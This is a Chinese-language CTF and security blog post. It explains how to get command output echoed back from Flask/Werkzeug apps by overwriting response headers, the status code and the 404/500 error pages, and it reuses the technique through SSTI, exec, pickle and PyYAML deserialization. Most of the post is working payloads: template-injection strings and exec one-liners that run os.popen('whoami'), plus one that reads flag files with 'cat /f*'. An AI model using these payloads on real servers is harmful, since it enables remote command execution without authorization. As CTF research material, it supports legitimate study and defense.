前言
在先知社区拜读了上面三篇文章,原理其实就是污染HTTP响应头和错误页面为我们命令执行的结果。
但是这三篇文章讲的都是基于SSTI的污染,如果是其他漏洞场景呢,比如反序列化、代码执行。
强网杯线下赛有一道pyramid的题,漏洞点存在于exec(),有种方法就是污染响应内容。所以我们可以把基于SSTI污染的payload先改成exec可以执行的代码。
关于SSTI回显分析的过程不再演示,参考上面三篇文章就行,先附上基于SSTI污染的payload。
SSTI
server_version
1 | {{g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",g.pop.__globals__.__builtins__.__import__('os').popen('whoami').read())}} |
sys_version
1 | {{g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"sys_version",g.pop.__globals__.__builtins__.__import__('os').popen('whoami').read())}} |
http protocol_version
1 | {{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"protocol_version",lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read())}} |
状态码
1 | {{url_for.__globals__.__builtins__['setattr'](lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.wrappers.Response,'default_status',url_for.__globals__.__builtins__.__import__('base64').b64encode(url_for.__globals__.__builtins__['__import__']('os').popen('dir').read().encode()).decode())}} |
500页面
1 | {{url_for.__globals__.__builtins__['setattr'](lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.exceptions.InternalServerError,'description',url_for.__globals__.__builtins__['__import__']('os').popen('dir').read())}} |
404页面
1 | {{url_for.__globals__.__builtins__['setattr'](lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.exceptions.NotFound,'description',url_for.__globals__.__builtins__['__import__']('os').popen('dir').read())}} |
exec
demo
1 | from flask import Flask, request, render_template_string |
然后把payload改成exec可以直接执行的代码,其实也就是从相应模块中导入类,再使用setattr把类中对应的属性污染为我们命令执行的结果。
server_version
1 | from werkzeug.serving import WSGIRequestHandler; import os; setattr(WSGIRequestHandler, "server_version", os.popen('whoami').read().strip()) |

sys_version
1 | from werkzeug.serving import WSGIRequestHandler; import os; setattr(WSGIRequestHandler, "sys_version", os.popen('whoami').read().strip()) |

http protocol_version
1 | from werkzeug.serving import WSGIRequestHandler; import os; setattr(WSGIRequestHandler, "protocol_version", os.popen('whoami').read().strip()) |

状态码
1 | from werkzeug.wrappers import Response; import os; import base64; setattr(Response, 'default_status', base64.b64encode(os.popen('whoami').read().encode()).decode()) |


500页面
1 | from werkzeug.exceptions import InternalServerError; import os; setattr(InternalServerError, "description", os.popen('whoami').read().strip()) |

404页面
1 | from werkzeug.exceptions import NotFound; import os; setattr(NotFound, "description", os.popen('whoami').read().strip()) |

Pickle反序列化
上面已经构造出了exec可以执行的代码,那么这个payload同样在pickle反序列化也是可以使用的,前提是通过exec执行。
demo
1 | import base64 |
exp
1 | import base64 |
污染成功

PyYaml反序列化
同样也是通过exec来执行
这里就以DASCTF2024最后一战yaml_master为例
1 | import os |
open读文件,然后直接污染server_version
1 | import requests |

或者通过bytes绕过,rce读flag
1 | exp = 'from werkzeug.serving import WSGIRequestHandler; import os; setattr(WSGIRequestHandler, "sys_version", os.popen(\'cat /f*\').read().strip())' |
exp
1 | import requests |

污染+fenjing
还是回到SSTI,前面的SSTI Payload都是没有过滤的,既然我们已经构造出了exec可以执行的代码,那么就可以搭配fenjing写个绕过一把梭exp
1 | import fenjing |
这里的黑名单是用的CISCN&CCB的Safe_Proxy,本地搭一下直接打

成功污染。
About this Post
This post is written by p0l1st, licensed under CC BY-NC 4.0.